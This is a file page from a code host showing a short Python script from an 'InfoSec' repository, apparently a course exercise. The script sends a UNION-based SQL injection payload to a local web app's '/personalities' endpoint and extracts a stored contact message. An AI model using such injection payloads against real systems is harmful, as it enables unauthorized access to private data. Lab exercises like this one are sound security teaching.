Page Menu
Home
c4science
Search
Configure Global Search
Log In
Files
F102773895
ex2a.py
No One
Temporary
Actions
Download File
Edit File
Delete File
View Transforms
Subscribe
Mute Notifications
Award Token
Subscribers
None
File Metadata
Details
File Info
Storage
Attached
Created
Mon, Feb 24, 01:33
Size
483 B
Mime Type
text/x-python
Expires
Wed, Feb 26, 01:33 (1 d, 21 h)
Engine
blob
Format
Raw Data
Handle
24420648
Attached To
R6092 InfoSec
ex2a.py
View Options
import
requests
import
sys
from
bs4
import
BeautifulSoup
import
re
def
soupify_response
(
r
):
return
BeautifulSoup
(
r
.
text
,
'html.parser'
)
base_addr
=
"http://0.0.0.0"
if
len
(
sys
.
argv
)
>
1
else
"http://127.0.0.1"
payload
=
{
"id"
:
"1' union all select name,message from contact_messages where mail like 'james@bond.mi5"
}
r
=
requests
.
get
(
base_addr
+
'/personalities'
,
params
=
payload
)
soup
=
soupify_response
(
r
)
message
=
soup
.
find
(
string
=
re
.
compile
(
"james:"
))
print
(
message
[
6
:])
Event Timeline
Log In to Comment